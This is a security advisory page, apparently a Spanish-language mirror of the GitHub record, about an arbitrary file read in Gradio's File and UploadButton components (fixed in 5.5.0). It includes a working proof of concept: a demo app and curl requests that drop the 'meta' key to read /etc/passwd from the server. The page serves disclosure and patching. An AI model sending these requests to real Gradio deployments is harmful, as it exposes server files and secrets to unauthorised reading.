Media

Gradio vulnerable to arbitrary file read with File and UploadButton components

  • Publicada: 06.11.2024
  • Actualizado: 11.10.2026 12:19

Summary

If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.

Details

Consider the following application where a user can upload a file and preview its content:

python
import gradio as gr

def greet(value: bytes):
    return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")

if __name__ == "__main__":
    demo.launch()

If we run this application and make the following request (which attempts to read the /etc/passwd file)

bash
curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

Then this results in the following error on the server

gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user.

This is expected. However, if we now remove the "meta":{"_type":"gradio.FileData"} from the request:

bash
curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

This doesn't cause an error and results in the content of /etc/passwd being shown in the response!

This works because Gradio relies on the processing_utils.async_move_files_to_cache to sanitize all incoming file paths in all inputs. This function performs the following operation

    return await client_utils.async_traverse(
        data, _move_to_cache, client_utils.is_file_obj_with_meta
    )

where client_utils.is_file_obj_with_meta is used as a filter which tells on which inputs to perform the _move_to_cache function (which also performs the allowed/disallowed check on the file path). The problem is that client_utils.is_file_obj_with_meta is not guaranteed to trigger for every input that contains a file path:

def is_file_obj_with_meta(d) -> bool:
    """
    Check if the given value is a valid FileData object dictionary in newer versions of Gradio
    where the file objects include a specific "meta" key, e.g.
    {
        "path": "path/to/file",
        "meta": {"_type: "gradio.FileData"}
    }
    """
    return (
        isinstance(d, dict)
        and "path" in d
        and isinstance(d["path"], str)
        and "meta" in d
        and d["meta"].get("_type", "") == "gradio.FileData"
    )

For example, as in the PoC, the file path won't be checked if the meta key is not present in the request or if _type is not gradio.FileData.

Then, the path remains under control of the attacker and is used to read a file in _process_single_file function in file.py and upload_button.py (and possibly other places)

PoC

As described above, run the following Gradio app

python
import gradio as gr

def greet(value: bytes):
    return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")

if __name__ == "__main__":
    demo.launch()

And make the following request

bash
curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

Impact

Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) gradio >= 5.0.0, < 5.5.0 5.5.0

Referencias

Puntuación CVSS 0
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Debilidad (CWE)
CWE-200, CWE-22
Plataforma
Python (PyPI)
Paquete
gradio
Publicada
06.11.2024
Actualizado
11.10.2026 12:19

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2024-275 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-rhm9-gp5p-5248 - CC BY 4.0

Historial de vulnerabilidades: gradio

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (51) en el archivo
Entradas en total
51
Primera → última
12.2021 07.2026
Sin corrección
13
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 19
  • Media 22
  • Baja 5

Divulgaciones por año

  1. 2021: 1
  2. 2022: 1
  3. 2023: 5
  4. 2024: 28
  5. 2025: 9
  6. 2026: 7
Gravedad:
  1. Alta · 7.5 CVE-2024-8966 <= 5.22.0 sin corrección
  2. Alta · 7.5 CVE-2024-10624 >= 4.38.0, <= 5.0.0-beta.2 sin corrección
  3. Alta · 8.2 CVE-2024-10648 >= 4.0.0, <= 5.0.0b2 sin corrección
  4. Alta · 7.5 CVE-2024-10569 >= 4.0.0, <= 5.0.0b2 sin corrección
  5. Crítica CVE-2025-23042 < 5.11.0 5.11.0
  6. Gradio vulnerable to arbitrary file read with File and UploadButton components esta entrada
    Media · 0.0 CVE-2024-51751 >= 5.0.0, < 5.5.0 5.5.0
  7. Alta · 7.5 CVE-2024-47867 < 5.0.0 5.0.0
  8. Alta · 8.1 CVE-2024-1728 < 4.19.2 4.19.2
  9. Alta · 8.6 CVE-2024-4325 <= 4.36.0 sin corrección
  10. Alta · 7.5 CVE-2024-34510 < 4.20.0 4.20.0
  11. Alta · 7.5 CVE-2024-1561 < 4.13.0 4.13.0
  12. Alta · 7.3 CVE-2024-2206 < 4.18.0 4.18.0
Mostrar más (5) Mostrando 20 de 25

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.